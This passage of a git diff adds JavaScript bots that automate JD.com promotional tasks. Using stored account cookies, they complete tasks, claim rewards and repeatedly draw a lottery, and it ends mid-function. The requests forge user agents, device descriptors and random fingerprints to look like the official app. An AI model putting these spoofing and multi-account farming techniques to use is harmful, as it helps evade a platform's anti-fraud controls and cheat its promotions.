$.post(taskPostClientActionUrl('apTaskDrawAward', { "taskType": taskType, "taskId": taskId, "linkId": linkId }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`apTaskDrawAward API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.log("领取奖励") + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function starShopPageInfo() { + body = { "taskId": "", "encryptionPin": "", "linkId": linkId } + opt = { + url: `https://api.m.jd.com/?functionId=starShopPageInfo&appid=activities_platform&body=${encodeURIComponent(JSON.stringify(body))}&_t=${(new Date).getTime()}&cthr=1`, + headers: { + 'User-Agent': UA, + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Origin': 'https://pro.m.jd.com/', + 'Referer': `https://pro.m.jd.com/`, + 'Cookie': cookie + "cid=3", + } + } + return new Promise(resolve => { + $.get(opt, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`starShopPageInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code == 0) { + res = data.data + } else { + console.log(`失败原因: ${data.errMsg}`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(res); + } + }) + }) +} + +function starShopDraw() { + body = { "linkId": linkId } + opt = { + url: `https://api.m.jd.com/?functionId=starShopDraw&appid=activities_platform&body=${encodeURIComponent(JSON.stringify(body))}&_t=${(new Date).getTime()}&cthr=1`, + headers: { + 'User-Agent': UA, + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Origin': 'https://pro.m.jd.com/', + 'Referer': `https://pro.m.jd.com/`, + 'Cookie': cookie + "cid=3", + } + } + return new Promise(resolve => { + $.get(opt, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`starShopDraw API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code == 0) { + console.log(data.data); + } { + console.log(`失败原因: ${data.errMsg}`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskPostClientActionUrl(functionId, body, time = (new Date).getTime(), h5st) { + bodyinfo = `${functionId ? `functionId=${functionId}` : ``}&appid=activities_platform&body=${JSON.stringify(body)}&t=${time}&cthr=1` + if (h5st) { + bodyinfo += `&h5st=${encodeURIComponent(h5st)}` + } + return { + url: `https://api.m.jd.com`, + body: bodyinfo, + headers: { + 'User-Agent': UA, + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Origin': 'https://pro.m.jd.com/', + 'Referer': `https://pro.m.jd.com/`, + 'Cookie': cookie + "cid=3", + } + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +async function getUa() { + for (var t = "", n = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", r = 0; r < 16; r++) { + var i = Math.round(Math.random() * (n.length - 1)); + t += n.substring(i, i + 1) + } + uuid = Buffer.from(t, 'utf8').toString('base64') + ep = encodeURIComponent(JSON.stringify({ "hdid": "JM9F1ywUPwflvMIpYPok0tt5k9kW4ArJEU3lfLhxBqw=", "ts": (new Date).getTime(), "ridx": -1, "cipher": { "sv": "CJK=", "ad": uuid, "od": "CNKmCNKmCNKjCNKmCM0mCNKmBJKmCNKjCNKmCNKmCNKmCNKm", "ov": "Ctu=", "ud": uuid }, "ciphertype": 5, "version": "1.2.0", "appname": "com.jd.jdlite" })) + return `jdltapp;android;3.8.16;;;appBuild/2314;ef/1;ep/${ep};Mozilla/5.0 (Linux; Android 10; WLZ-AN01 Build/HUAWEIWLZ-AN01; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.72 MQQBrowser/6.2 TBS/045837 Mobile Safari/537.36` +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } + diff --git a/jd_sxLottery.js b/jd_sxLottery.js new file mode 100644 index 0000000..19cb9d7 --- /dev/null +++ b/jd_sxLottery.js @@ -0,0 +1,416 @@ +/* +京东生鲜每日抽奖,可抽奖获得京豆, +活动入口:京东生鲜每日抽奖 +by:小手冰凉 +交流群:https://t.me/jdPLA2 +脚本更新时间:2021-12-31 +脚本兼容: Node.js +新手写脚本,难免有bug,能用且用。 +=========================== +[task_local] +#京东生鲜每日抽奖 +10 7 * * * jd jd_sxLottery.js, tag=京东生鲜每日抽奖, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_sxLottery.png, enabled=true + */ +const $ = new Env('京东生鲜每日抽奖'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +$.configCode = ""; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + await getCode(); //获取任务 + if ($.configCode) { + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdmodule(); + await showMsg(); + } + } + } else { + console.log('今天没有签到活动拉'); + } + +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + + +async function jdmodule() { + let runTime = 0; + do { + await getinfo(); //获取任务 + $.hasFinish = true; + await run(); + runTime++; + } while (!$.hasFinish && runTime < 6); + await getinfo(); + console.log("开始抽奖"); + for (let x = 0; x < $.chanceLeft; x++) { + await join(); + await $.wait(1500) + } +} + +//运行 +async function run() { + try { + for (let vo of $.taskinfo) { + if (vo.hasFinish === true) { + // console.log(`任务${vo.taskName},已完成`); + continue; + } + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + if (vo.taskName == '每日签到') { + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + if (vo.taskType == 3) { + await getJump(vo.taskItem.itemLink); + await $.wait(1000 * vo.viewTime) + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + + $.hasFinish = false; + } + } catch (e) { + console.log(e); + } +} + + +// 获取任务 +function getCode() { + return new Promise(resolve => { + $.get({ + url: `https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html`, + headers: { + "Connection": "keep-alive", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", + 'User-Agent': 'JD4iPhone/167874 (iPhone; iOS 14.2; Scale/3.00)', + 'Cookie': cookie, + "Host": "prodev.m.jd.com", + "Referer": "", + "Accept-Language": "zh-Hans-CN;q=1, en-CN;q=0.9", + "Accept": "*/*" + }, + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getinfo请求失败,请检查网路重试`) + } else { + $.configCode = resp.body.match(/"activityCode":"(.*?)"/)[1] + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +// 获取任务 +function getinfo() { + return new Promise(resolve => { + $.get({ + url: `https://jdjoy.jd.com/module/task/draw/get?configCode=${$.configCode}&unionCardCode=`, + headers: { + 'Host': 'jdjoy.jd.com', + 'accept': '*/*', + 'content-type': 'application/json', + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + 'X-Requested-With': 'com.jingdong.app.mall', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getinfo请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.chanceLeft = data.data.chanceLeft; + if (data.success == true) { + $.taskinfo = data.data.taskConfig + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//抽奖 +function join() { + return new Promise(async (resolve) => { + $.get({ + url: `https://jdjoy.jd.com/module/task/draw/join?configCode=${$.configCode}&fp=${randomWord(false, 32, 32)}&eid=`, + headers: { + 'Host': 'jdjoy.jd.com', + 'accept': '*/*', + 'content-type': 'application/json', + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + 'X-Requested-With': 'com.jingdong.app.mall', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`join请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log(`抽奖结果:${data.data.rewardName}`); + } + else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//做任务 +function doTask(taskType, itemId, taskid) { + return new Promise(resolve => { + let options = taskPostUrl('doTask', `{"configCode":"${$.configCode}","taskType":${taskType},"itemId":"${itemId}","taskId":${taskid}}`) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`doTask 请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log("任务成功"); + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + +//领取任务奖励 +function getReward(taskType, itemId, taskid) { + return new Promise(resolve => { + let options = taskPostUrl('getReward', `{"configCode":"${$.configCode}","taskType":${taskType},"itemId":"${itemId}","taskId":${taskid}}`) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`getReward 请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log("任务奖励领取成功"); + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function getJump(url2) { + return new Promise(resolve => { + $.get({ + url: url2, + headers: { + 'Host': 'pro.m.jd.com', + 'accept': '*/*', + 'content-type': 'application/x-www-form-urlencoded', + 'referer': '', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`getJump API请求失败,请检查网路重试`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function taskPostUrl(function_id, body = {}) { + return { + url: `https://jdjoy.jd.com/module/task/draw/${function_id}`, + body: `${(body)}`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/json", + "Host": "jdjoy.jd.com", + "x-requested-with": "com.jingdong.app.mall", + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function randomWord(randomFlag, min, max) { + var str = "", + range = min, + arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; + + // 随机产生 + if (randomFlag) { + range = Math.round(Math.random() * (max - min)) + min; + } + for (var i = 0; i < range; i++) { + pos = Math.round(Math.random() * (arr.length - 1)); + str += arr[pos]; + } + return str; +} +// prettier-ignore +function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete 